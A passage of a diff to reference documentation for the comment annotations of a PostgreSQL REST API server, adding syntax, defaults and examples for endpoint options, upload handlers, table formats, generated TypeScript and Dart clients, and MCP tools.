(empty_string, null_literal, ignore) · **Default:** `ignore` +- **Example:** `query_null empty_string` Control how NULL query string parameters are handled. @@ -163,6 +230,9 @@ Control how NULL query string parameters are handled. - **Aliases:** sensitive, security, security_sensitive - **Syntax:** `security_sensitive` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** none +- **Example:** `security_sensitive` Mark endpoint as security-sensitive (suppresses logging of parameters). @@ -170,6 +240,9 @@ Mark endpoint as security-sensitive (suppresses logging of parameters). - **Aliases:** user_context - **Syntax:** `user_context` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `user_context` Pass authenticated user context to the routine via connection settings. @@ -177,6 +250,9 @@ Pass authenticated user context to the routine via connection settings. - **Aliases:** user_parameters, user_params - **Syntax:** `user_parameters` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `user_parameters` Map user claims to routine parameters. @@ -184,6 +260,9 @@ Map user claims to routine parameters. - **Aliases:** upload - **Syntax:** `upload [for handler1, handler2, ...]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `upload for file_system` Enable file upload for this endpoint, optionally specifying upload handlers. @@ -191,6 +270,9 @@ Enable file upload for this endpoint, optionally specifying upload handlers. - **Aliases:** parameter, param - **Syntax:** `param is hash of | param is upload metadata | param [type] | param is [type] | param type is | param default ` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `param $1 user_id integer` Configure parameter behavior: hash computation, upload metadata binding, rename/retype, retype WITHOUT rename ('param user_id type is integer'), or default value ('param user_id default null'). Rename forms: 'param $1 user_id', 'param $1 user_id integer', 'param $1 is user_id', 'param _old_name better_name'. In SQL files with named (:name) placeholders the parameter is addressed by the placeholder's own name (a leading ':' is tolerated). Works on all endpoint types. @@ -198,6 +280,9 @@ Configure parameter behavior: hash computation, upload metadata binding, rename/ - **Aliases:** sse, sse_path, sse_events_path - **Syntax:** `sse_path [path] [on info|notice|warning]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** path +- **Example:** `sse /events on notice` Enable Server-Sent Events streaming with optional path and notice level. @@ -205,6 +290,9 @@ Enable Server-Sent Events streaming with optional path and notice level. - **Aliases:** sse_level, sse_events_level - **Syntax:** `sse_level [info|notice|warning]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** enum (info, notice, warning) +- **Example:** `sse_level notice` Set the PostgreSQL notice level for SSE events. @@ -212,6 +300,9 @@ Set the PostgreSQL notice level for SSE events. - **Aliases:** sse_scope, sse_events_scope - **Syntax:** `sse_scope [all|authorize|matching] [role1, role2, user:name, id:user_id, ...]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `sse_scope authorize admin` Set the broadcast scope for SSE events. Authorize values: plain = role, user:name = user name claim, id:value = user id claim. @@ -219,6 +310,9 @@ Set the broadcast scope for SSE events. Authorize values: plain = role, user:nam - **Aliases:** basic_authentication, basic_auth - **Syntax:** `basic_auth [username] [password]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `basic_auth` Enable HTTP Basic Authentication for this endpoint. @@ -226,6 +320,9 @@ Enable HTTP Basic Authentication for this endpoint. - **Aliases:** basic_authentication_realm, basic_auth_realm, realm - **Syntax:** `basic_auth_realm ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `basic_auth_realm Reports` Set the authentication realm for Basic Auth challenges. @@ -233,6 +330,9 @@ Set the authentication realm for Basic Auth challenges. - **Aliases:** basic_authentication_command, basic_auth_command, challenge_command - **Syntax:** `basic_auth_command ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** sql +- **Example:** `basic_auth_command = select * from check_basic_auth($1, $2)` Set a custom SQL command for Basic Auth credential validation. @@ -240,6 +340,9 @@ Set a custom SQL command for Basic Auth credential validation. - **Aliases:** retry_strategy_name, retry_strategy, retry - **Syntax:** `retry_strategy ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `retry_strategy default` Apply a named retry strategy for transient database errors. @@ -247,6 +350,9 @@ Apply a named retry strategy for transient database errors. - **Aliases:** rate_limiter_policy_name, rate_limiter_policy, rate_limiter - **Syntax:** `rate_limiter ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `rate_limiter fixed` Apply a named rate limiting policy to this endpoint. @@ -254,6 +360,9 @@ Apply a named rate limiting policy to this endpoint. - **Aliases:** error_code_policy_name, error_code_policy, error_code - **Syntax:** `error_code_policy ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `error_code_policy default` Apply a named error code mapping policy for PostgreSQL error codes. @@ -261,6 +370,9 @@ Apply a named error code mapping policy for PostgreSQL error codes. - **Aliases:** validate, validation - **Syntax:** `validate using ` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `validate _email using email` Add parameter validation using a named validation rule. @@ -268,6 +380,9 @@ Add parameter validation using a named validation rule. - **Aliases:** proxy, reverse_proxy - **Syntax:** `proxy [GET|POST|PUT|DELETE|QUERY] [host_url]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `proxy GET https://api.example.com/users` Configure endpoint as a reverse proxy. @@ -275,6 +390,9 @@ Configure endpoint as a reverse proxy. - **Aliases:** proxy_out, forward_proxy - **Syntax:** `proxy_out [GET|POST|PUT|DELETE|QUERY] [host_url]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `proxy_out POST https://api.example.com/render` Execute function first, then forward result body to upstream proxy service. @@ -282,6 +400,9 @@ Execute function first, then forward result body to upstream proxy service. - **Aliases:** nested, nested_json, nested_composite - **Syntax:** `nested_json` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** none +- **Example:** `nested_json` Serialize composite type columns as nested JSON objects. @@ -289,6 +410,9 @@ Serialize composite type columns as nested JSON objects. - **Aliases:** for, tags, tag - **Syntax:** `for tag1, tag2, ...` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment +- **Value:** list +- **Example:** `for function, stable` Filter endpoint availability by tags. @@ -296,6 +420,9 @@ Filter endpoint availability by tags. - **Aliases:** disabled - **Syntax:** `disabled [tag1, tag2, ...]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `disabled` Disable this endpoint, optionally only for specific tags. @@ -303,6 +430,9 @@ Disable this endpoint, optionally only for specific tags. - **Aliases:** enabled - **Syntax:** `enabled [tag1, tag2, ...]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `enabled` Enable this endpoint, optionally only for specific tags. @@ -310,6 +440,9 @@ Enable this endpoint, optionally only for specific tags. - **Aliases:** internal, internal_only - **Syntax:** `internal` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** none +- **Example:** `internal` Mark endpoint as internal-only. Not exposed as an HTTP route, only accessible via self-referencing calls (proxy, HTTP client types). @@ -317,6 +450,9 @@ Mark endpoint as internal-only. Not exposed as an HTTP route, only accessible vi - **Aliases:** encrypt, encrypted, protect, protected - **Syntax:** `encrypt [param1, param2, ...]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `encrypt _card_number` Encrypt parameter values using the default data protector before sending to PostgreSQL. Without arguments, encrypts all text parameters. @@ -324,34 +460,47 @@ Encrypt parameter values using the default data protector before sending to Post - **Aliases:** decrypt, decrypted, unprotect, unprotected - **Syntax:** `decrypt [column1, column2, ...]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `decrypt card_number` Decrypt result column values using the default data protector before returning to the client. Without arguments, decrypts all text columns. ## `custom_parameter` -- **Aliases:** - **Syntax:** `key = value` +- **Owner:** core · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `my_key = my value` Define a custom parameter as key-value pair (separated by =). ## `header` -- **Aliases:** - **Syntax:** `Header-Name: header-value` +- **Owner:** core · **Form:** a line of its own shape · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `Content-Type: text/csv` Add a response header (separated by :). -## `resultN` +## `result` -- **Aliases:** result1, result2, result3 -- **Syntax:** `resultN | resultN is ` +- **Aliases:** result +- **Syntax:** `result | result is ` +- **Owner:** core · **Form:** keyword line · **Where:** SQL file, per statement +- **Value:** name +- **Example:** `result users` -Rename a result key in multi-command SQL file responses. N is the 1-based command index. Example: '@result1 validate' renames the first result from 'result1' to 'validate'. SQL file source only. +Name a statement's result in the response of a SQL file with several statements (the default names are result1, result2 ...). Positional: applies to the next statement, or, written after the semicolon on the same line, to the statement that line ends. ## `define_param` - **Aliases:** define_param - **Syntax:** `define_param [type]` +- **Owner:** core · **Form:** keyword line · **Where:** SQL file +- **Value:** text +- **Example:** `define_param tenant_id integer` Define a virtual parameter that exists for HTTP matching and claim mapping but is NOT bound to the PostgreSQL command. Useful for SQL file endpoints where you need parameters for comment placeholders or claim mapping without referencing them in SQL. Default type is text. SQL file source only. @@ -359,6 +508,9 @@ Define a virtual parameter that exists for HTTP matching and claim mapping but i - **Aliases:** single, single_record, single_result - **Syntax:** `single` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file, SQL file, per statement +- **Value:** boolean · **Default:** `false` +- **Example:** `single` Return only the first row as a JSON object instead of a JSON array. In multi-command SQL files the annotation is positional: it applies to the next statement (or, inline after the semicolon, to the statement on that line). @@ -366,6 +518,9 @@ Return only the first row as a JSON object instead of a JSON array. In multi-com - **Aliases:** void, void_result - **Syntax:** `void` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `void` Return no content (204 No Content); results are discarded. In multi-command SQL files all statements still execute for side effects. @@ -373,6 +528,9 @@ Return no content (204 No Content); results are discarded. In multi-command SQL - **Aliases:** skip, skip_result, no_result - **Syntax:** `skip` +- **Owner:** core · **Form:** keyword line · **Where:** SQL file, per statement +- **Value:** none +- **Example:** `skip` Execute the statement but exclude its result from the response. Positional: applies to the next statement (or, inline after the semicolon, to the statement on that line). SQL file source only. @@ -380,68 +538,731 @@ Execute the statement but exclude its result from the response. Positional: appl - **Aliases:** returns - **Syntax:** `returns | returns | returns void` +- **Owner:** core · **Form:** keyword line · **Where:** SQL file, per statement +- **Value:** name +- **Example:** `returns my_schema.user_row` Skip the startup Describe for a statement and resolve result columns from the given type instead: a composite type name (schema-qualified or not), a built-in scalar type (single-column result), or void. Needed when a statement references objects that do not exist at startup (e.g. a temp table created in a DO block). SQL file source only. +## `sse_publish` + +- **Aliases:** sse_publish, sse_events_publish +- **Syntax:** `sse_publish [on info|notice|warning]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `sse_publish on notice` + +Publish this routine's RAISE messages of the given level (default: the configured level) as Server-Sent Events, without giving the endpoint an event stream of its own. Subscribers are endpoints with sse or sse_subscribe. + +## `sse_subscribe` + +- **Aliases:** sse_subscribe, sse_events_subscribe +- **Syntax:** `sse_subscribe [path] [on info|notice|warning]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** path +- **Example:** `sse_subscribe /events` + +Give this endpoint a Server-Sent Events stream that clients subscribe to, without publishing this routine's own RAISE messages. Without a path, the path is the level's name. + +## `table_format` + +- **Aliases:** table_format +- **Syntax:** `table_format = ` +- **Owner:** core · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `table_format = html` + +Return the rows in a table format instead of JSON: a key of the configured table format handlers (the npgsqlrest client has html and excel when TableFormatOptions is enabled). + +# Upload handler parameters + +## `stop_after_first_success` (upload) + +- **Aliases:** stop_after_first_success, large_object_stop_after_first_success, file_system_stop_after_first_success, csv_stop_after_first_success, excel_stop_after_first_success +- **Syntax:** `stop_after_first_success = ` +- **Owner:** upload · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `stop_after_first_success = true` + +With several upload handlers: a file that one handler processed successfully is skipped by the handlers after it. + +## `included_mime_types` (upload) + +- **Aliases:** included_mime_types, large_object_included_mime_types, file_system_included_mime_types, csv_included_mime_types, excel_included_mime_types +- **Syntax:** `included_mime_types = ` +- **Owner:** upload · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `included_mime_types = image/*, application/pdf` + +Accept only files whose MIME type matches one of these patterns (* and ? are wildcards). Others are rejected. + +## `excluded_mime_types` (upload) + +- **Aliases:** excluded_mime_types, large_object_excluded_mime_types, file_system_excluded_mime_types, csv_excluded_mime_types, excel_excluded_mime_types +- **Syntax:** `excluded_mime_types = ` +- **Owner:** upload · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `excluded_mime_types = application/x-msdownload` + +Reject files whose MIME type matches any of these patterns (* and ? are wildcards). + +## `buffer_size` (upload) + +- **Aliases:** buffer_size, large_object_buffer_size, file_system_buffer_size, csv_buffer_size, excel_buffer_size +- **Syntax:** `buffer_size = ` +- **Owner:** upload · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `8192` +- **Example:** `buffer_size = 65536` + +Size in bytes of the chunks a file is read and written in (large_object and file_system). + +## `fallback_handler` (upload) + +- **Aliases:** fallback_handler, csv_fallback_handler, excel_fallback_handler +- **Syntax:** `fallback_handler = ` +- **Owner:** upload · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `fallback_handler = file_system` + +The upload handler that takes over when csv or excel cannot process the file. + +## `oid` (upload:large_object) + +- **Aliases:** oid, large_object_oid +- **Syntax:** `oid = ` +- **Owner:** upload:large_object · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer +- **Example:** `oid = {_oid}` + +The OID of the large object to create. Without it PostgreSQL assigns one. + +## `check_text` (upload:large_object) + +- **Aliases:** check_text, large_object_check_text +- **Syntax:** `check_text = ` +- **Owner:** upload:large_object · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `check_text = true` + +Reject files that are not text (binary content). + +## `check_image` (upload:large_object) + +- **Aliases:** check_image, large_object_check_image +- **Syntax:** `check_image = ` +- **Owner:** upload:large_object · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text · **Default:** `false` +- **Example:** `check_image = jpg, png` + +Reject files that are not images, by their first bytes: true for any supported type, or a list of jpg, jpeg, png, gif, bmp, tiff, webp. + +## `test_buffer_size` (upload:large_object) + +- **Aliases:** test_buffer_size, large_object_test_buffer_size +- **Syntax:** `test_buffer_size = ` +- **Owner:** upload:large_object · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `4096` +- **Example:** `test_buffer_size = 8192` + +How many bytes of the file the text check reads. + +## `non_printable_threshold` (upload:large_object) + +- **Aliases:** non_printable_threshold, large_object_non_printable_threshold +- **Syntax:** `non_printable_threshold = ` +- **Owner:** upload:large_object · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `5` +- **Example:** `non_printable_threshold = 0` + +How many non-printable bytes the text check tolerates before the file counts as binary. + +## `path` (upload:file_system) + +- **Aliases:** path, file_system_path +- **Syntax:** `path = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** path +- **Example:** `path = /var/uploads/{_folder}` + +The directory the file is saved in. Default: the configured FileSystemPath. + +## `file` (upload:file_system) + +- **Aliases:** file, file_system_file +- **Syntax:** `file = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `file = {_name}.pdf` + +The name the file is saved under (relative, no '..'). Default: the uploaded file's own name. With unique_name only its extension is used. + +## `unique_name` (upload:file_system) + +- **Aliases:** unique_name, file_system_unique_name +- **Syntax:** `unique_name = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `unique_name = false` + +Save the file under a generated unique name that keeps the extension. + +## `create_path` (upload:file_system) + +- **Aliases:** create_path, file_system_create_path +- **Syntax:** `create_path = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `create_path = true` + +Create the directory when it does not exist. Default: the configured FileSystemCreatePathIfNotExists. + +## `check_text` (upload:file_system) + +- **Aliases:** check_text, file_system_check_text +- **Syntax:** `check_text = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `check_text = true` + +Reject files that are not text (binary content). + +## `check_image` (upload:file_system) + +- **Aliases:** check_image, file_system_check_image +- **Syntax:** `check_image = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text · **Default:** `false` +- **Example:** `check_image = true` + +Reject files that are not images, by their first bytes: true for any supported type, or a list of jpg, jpeg, png, gif, bmp, tiff, webp. + +## `test_buffer_size` (upload:file_system) + +- **Aliases:** test_buffer_size, file_system_test_buffer_size +- **Syntax:** `test_buffer_size = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `4096` +- **Example:** `test_buffer_size = 8192` + +How many bytes of the file the text check reads. + +## `non_printable_threshold` (upload:file_system) + +- **Aliases:** non_printable_threshold, file_system_non_printable_threshold +- **Syntax:** `non_printable_threshold = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `5` +- **Example:** `non_printable_threshold = 0` + +How many non-printable bytes the text check tolerates before the file counts as binary. + +## `check_format` (upload:csv) + +- **Aliases:** check_format, csv_check_format +- **Syntax:** `check_format = ` +- **Owner:** upload:csv · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `check_format = false` + +Check that the file is text with at least one line break before it is processed. + +## `test_buffer_size` (upload:csv) + +- **Aliases:** test_buffer_size, csv_test_buffer_size +- **Syntax:** `test_buffer_size = ` +- **Owner:** upload:csv · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `4096` +- **Example:** `test_buffer_size = 8192` + +How many bytes of the file the format check reads. + +## `non_printable_threshold` (upload:csv) + +- **Aliases:** non_printable_threshold, csv_non_printable_threshold +- **Syntax:** `non_printable_threshold = ` +- **Owner:** upload:csv · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `5` +- **Example:** `non_printable_threshold = 0` + +How many non-printable bytes the format check tolerates before the file counts as binary. + +## `delimiters` (upload:csv) + +- **Aliases:** delimiters, csv_delimiters +- **Syntax:** `delimiters = ` +- **Owner:** upload:csv · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text · **Default:** `,` +- **Example:** `delimiters = ;\t` + +The field delimiter characters; every character of the value is one. \t is a tab. + +## `has_fields_enclosed_in_quotes` (upload:csv) + +- **Aliases:** has_fields_enclosed_in_quotes, csv_has_fields_enclosed_in_quotes +- **Syntax:** `has_fields_enclosed_in_quotes = ` +- **Owner:** upload:csv · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `has_fields_enclosed_in_quotes = false` + +Fields may be enclosed in double quotes. + +## `set_white_space_to_null` (upload:csv) + +- **Aliases:** set_white_space_to_null, csv_set_white_space_to_null +- **Syntax:** `set_white_space_to_null = ` +- **Owner:** upload:csv · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `set_white_space_to_null = false` + +Empty and whitespace-only fields are passed as NULL. + +## `row_command` (upload:csv) + +- **Aliases:** row_command, csv_row_command +- **Syntax:** `row_command = ` +- **Owner:** upload:csv · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** sql · **Default:** `call process_csv_row($1,$2,$3,$4)` +- **Example:** `row_command = select import_row($1, $2, $3, $4)` + +The SQL command run for every row: $1 is the row number (from 1), $2 the fields as text[], $3 the previous row's result, $4 the upload metadata. {placeholders} are never substituted in it. + +## `sheet_name` (upload:excel) + +- **Aliases:** sheet_name, excel_sheet_name +- **Syntax:** `sheet_name = ` +- **Owner:** upload:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `sheet_name = Orders` + +The sheet to process (case-insensitive). Default: the first sheet. Ignored with all_sheets. + +## `all_sheets` (upload:excel) + +- **Aliases:** all_sheets, excel_all_sheets +- **Syntax:** `all_sheets = ` +- **Owner:** upload:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `all_sheets = true` + +Process every sheet of the workbook. + +## `time_format` (upload:excel) + +- **Aliases:** time_format, excel_time_format +- **Syntax:** `time_format = ` +- **Owner:** upload:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text · **Default:** `HH:mm:ss` +- **Example:** `time_format = HH:mm` + +The .NET format that cells holding only a time are passed in. + +## `date_format` (upload:excel) + +- **Aliases:** date_format, excel_date_format +- **Syntax:** `date_format = ` +- **Owner:** upload:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text · **Default:** `yyyy-MM-dd` +- **Example:** `date_format = dd.MM.yyyy` + +The .NET format that cells holding a date without a time are passed in. + +## `datetime_format` (upload:excel) + +- **Aliases:** datetime_format, excel_datetime_format +- **Syntax:** `datetime_format = ` +- **Owner:** upload:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text · **Default:** `yyyy-MM-dd HH:mm:ss` +- **Example:** `datetime_format = yyyy-MM-ddTHH:mm:ss` + +The .NET format that cells holding a date and a time are passed in. + +## `row_is_json` (upload:excel) + +- **Aliases:** row_is_json, excel_row_is_json +- **Syntax:** `row_is_json = ` +- **Owner:** upload:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `row_is_json = true` + +Pass the row ($2) as a JSON object keyed by cell reference ({"A1": ...}) instead of text[]. + +## `row_command` (upload:excel) + +- **Aliases:** row_command, excel_row_command +- **Syntax:** `row_command = ` +- **Owner:** upload:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** sql · **Default:** `call process_excel_row($1,$2,$3,$4)` +- **Example:** `row_command = select import_row($1, $2, $3, $4)` + +The SQL command run for every non-empty row: $1 is the row number, $2 the cells, $3 the previous row's result, $4 the upload metadata. {placeholders} are never substituted in it. + +# Table format parameters + +## `excel_file_name` (table_format:excel) + +- **Aliases:** excel_file_name +- **Syntax:** `excel_file_name = ` +- **Owner:** table_format:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `excel_file_name = orders-{_year}` + +The file name of the Excel download (.xlsx is added when missing). Default: the routine's name. + +## `excel_sheet` (table_format:excel) + +- **Aliases:** excel_sheet +- **Syntax:** `excel_sheet = ` +- **Owner:** table_format:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `excel_sheet = Orders` + +The name of the worksheet (31 characters at most). Default: the ExcelSheetName setting, else the routine's name. + +# TypeScript client (tsclient) + +## `tsclient` + +- **Aliases:** tsclient +- **Syntax:** `tsclient = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `tsclient = false` + +Set to false to leave this endpoint out of the generated TypeScript client. Accepted values: true, on, enabled, 1 and false, off, disabled, 0. + +## `tsclient_module` + +- **Aliases:** tsclient_module +- **Syntax:** `tsclient_module = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `tsclient_module = users` + +The module (file) this endpoint's TypeScript code is generated into; endpoints with the same module share a file. SQL file endpoints get their directory name by default. + +## `tsclient_events` + +- **Aliases:** tsclient_events +- **Syntax:** `tsclient_events = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `tsclient_events = false` + +Set to false to leave the Server-Sent Events parameters out of this endpoint's generated function. + +## `tsclient_parse_url` + +- **Aliases:** tsclient_parse_url +- **Syntax:** `tsclient_parse_url = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `tsclient_parse_url = true` + +Add (or remove) the parseUrl parameter, a callback that may change the request URL. Default: the IncludeParseUrlParam option. + +## `tsclient_parse_request` + +- **Aliases:** tsclient_parse_request +- **Syntax:** `tsclient_parse_request = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `tsclient_parse_request = true` + +Add (or remove) the parseRequest parameter, a callback that may change the request before it is sent. Default: the IncludeParseRequestParam option. + +## `tsclient_status_code` + +- **Aliases:** tsclient_status_code +- **Syntax:** `tsclient_status_code = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `tsclient_status_code = true` + +Return the HTTP status code together with the response. Default: the IncludeStatusCode option. + +## `tsclient_export_url` + +- **Aliases:** tsclient_export_url +- **Syntax:** `tsclient_export_url = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `tsclient_export_url = true` + +Also export a function that builds this endpoint's URL. Default: the ExportUrls option. + +## `tsclient_url_only` + +- **Aliases:** tsclient_url_only +- **Syntax:** `tsclient_url_only = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `tsclient_url_only = true` + +Generate only the URL function and the request type for this endpoint, no fetch function. + +## `tsclient_hooks` + +- **Aliases:** tsclient_hooks +- **Syntax:** `tsclient_hooks = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `tsclient_hooks = false` + +Set to false to leave this endpoint out of the generated React Query hooks. + +# Dart client (dartclient) + +## `dartclient` + +- **Aliases:** dartclient +- **Syntax:** `dartclient = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `dartclient = false` + +Set to false to leave this endpoint out of the generated Dart client. Accepted values: true, on, enabled, 1 and false, off, disabled, 0. + +## `dartclient_module` + +- **Aliases:** dartclient_module +- **Syntax:** `dartclient_module = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `dartclient_module = users` + +The module (file) this endpoint's Dart code is generated into; endpoints with the same module share a file. Without it, dartclient falls back to tsclient_module. + +## `dartclient_events` + +- **Aliases:** dartclient_events +- **Syntax:** `dartclient_events = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `dartclient_events = false` + +Set to false to leave the Server-Sent Events parameters out of this endpoint's generated function. + +## `dartclient_parse_url` + +- **Aliases:** dartclient_parse_url +- **Syntax:** `dartclient_parse_url = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `dartclient_parse_url = true` + +Add (or remove) the parseUrl parameter, a callback that may change the request URL. Default: the IncludeParseUrlParam option. + +## `dartclient_parse_request` + +- **Aliases:** dartclient_parse_request +- **Syntax:** `dartclient_parse_request = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `dartclient_parse_request = true` + +Add (or remove) the parseRequest parameter, a callback that may change the request before it is sent. Default: the IncludeParseRequestParam option. + +## `dartclient_status_code` + +- **Aliases:** dartclient_status_code +- **Syntax:** `dartclient_status_code = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `dartclient_status_code = true` + +Return the HTTP status code together with the response. Default: the IncludeStatusCode option. + +## `dartclient_export_url` + +- **Aliases:** dartclient_export_url +- **Syntax:** `dartclient_export_url = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `dartclient_export_url = true` + +Also export a function that builds this endpoint's URL. Default: the ExportUrls option. + +## `dartclient_url_only` + +- **Aliases:** dartclient_url_only +- **Syntax:** `dartclient_url_only = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `dartclient_url_only = true` + +Generate only the URL function and the request type for this endpoint, no fetch function. + +# MCP + ## `mcp` -- **Aliases:** mcp, mcp_name, mcp_description, mcp_desc -- **Syntax:** `mcp [description] | mcp_name | mcp_description ` +- **Aliases:** mcp +- **Syntax:** `mcp [description]` +- **Owner:** mcp · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `mcp Returns the orders of one customer` + +Expose the routine as an MCP tool (Model Context Protocol). Text after the keyword is the tool's description. Without an HTTP tag the routine becomes an MCP-only tool with no public HTTP route. Description precedence: mcp_description, then this text, then the comment's 